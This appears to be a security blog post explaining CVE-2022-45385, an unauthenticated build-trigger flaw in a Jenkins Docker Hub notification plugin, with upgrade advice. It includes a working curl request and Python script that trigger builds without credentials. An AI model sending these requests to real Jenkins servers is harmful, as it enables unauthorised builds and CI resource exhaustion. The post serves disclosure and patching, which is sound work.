In late 2022, a critical security vulnerability was discovered in the Jenkins CloudBees Docker Hub/Registry Notification Plugin (version 2.6.2 and earlier). This vulnerability, tracked as CVE-2022-45385, made it possible for attackers with no authentication to trigger builds on Jenkins jobs just by sending crafted requests. If you use Jenkins with any of the Docker Hub/Registry plugins, especially for sensitive or production projects, you’ll want to know about this issue and how to fix it.


## What Is Jenkins CloudBees Docker Hub/Registry Notification Plugin?

Jenkins is a popular automation server widely used for continuous integration and delivery. The CloudBees Docker Hub/Registry Notification Plugin allows Jenkins to automatically trigger builds when a new Docker image is pushed to a registry (like Docker Hub). This helps automate deployments and keep your environments up-to-date.

The Vulnerability: CVE-2022-45385 Explained

The problem with plugin versions 2.6.2 and earlier was they did not check if the request to trigger a build came from someone allowed to do so. This means anyone on the network (sometimes even the public internet) could send a simple HTTP POST request with a repository name, and Jenkins would start a build for that job. No login, no permission check.

Security Impact:

How the Exploit Works

Let’s look at how an attacker could use this vulnerability.

1. Find a Vulnerable Jenkins Instance

Suppose a Jenkins server is running the vulnerable plugin and is exposed to the network.

2. Craft a Notification Request

The plugin listens for webhook-style POST requests. Attackers can simply send a request to /dockerhub-webhook/notify with a repository field. No credentials or tokens are required.

Example Exploit Request

curl -X POST \
  -H "Content-Type: application/json" \
  -d '{
    "repository": {
      "repo_name": "public-attacker-image"
    }
  }' \
  http://jenkins.example.com/dockerhub-webhook/notify

If the request’s "repository" matches a configured job, the build triggers.

3. What Happens Next?

If Jenkins is monitoring public-attacker-image, it automatically starts a build according to the webhook payload, no questions asked. An attacker could even automate this to trigger builds repeatedly, possibly for DoS attacks.

Here’s a simple Python script to trigger the exploit

import requests
jenkins_url = "http://jenkins.example.com/dockerhub-webhook/notify"
payload = {
    "repository": {
        "repo_name": "public-attacker-image"
    }
}
headers = {"Content-Type": "application/json"}
response = requests.post(jenkins_url, json=payload, headers=headers)
print(response.status_code, response.text)

Real-World Impact

- Security: Builds could be triggered for jobs by anyone, greatly increasing the risk of build-based attacks, accidental unwanted deployments, or resource exhaustion.
- Confidentiality and integrity: If your build environment has secrets or sensitive steps, these might be exposed or corrupted.
- Cost and reliability: Unwanted builds can swamp your CI/CD infrastructure and slow development.

Mitigation & Fix

Immediate solution:

Upgrade to plugin version 2.7 or later.

- Download from the official update center or CloudBees Plugin Page.

General best practices:

- Jenkins Security Advisory 2022-11-16
- CVE Entry: CVE-2022-45385
- CloudBees Docker Hub/Registry Notification Plugin

Final Thoughts

CVE-2022-45385 is a simple but dangerous example of what goes wrong when permissions aren’t checked in automation tools like Jenkins. If you’re in DevOps or security, stay vigilant for similar issues—secure your endpoints, upgrade legacy plugins, and make sure permission checks are never optional.

If you’re running Jenkins with this plugin, please patch immediately!

Feel free to share this post to keep your peers safe from similar CVEs.

Timeline

Published on: 11/15/2022 20:15:00 UTC
Last modified on: 11/18/2022 15:48:00 UTC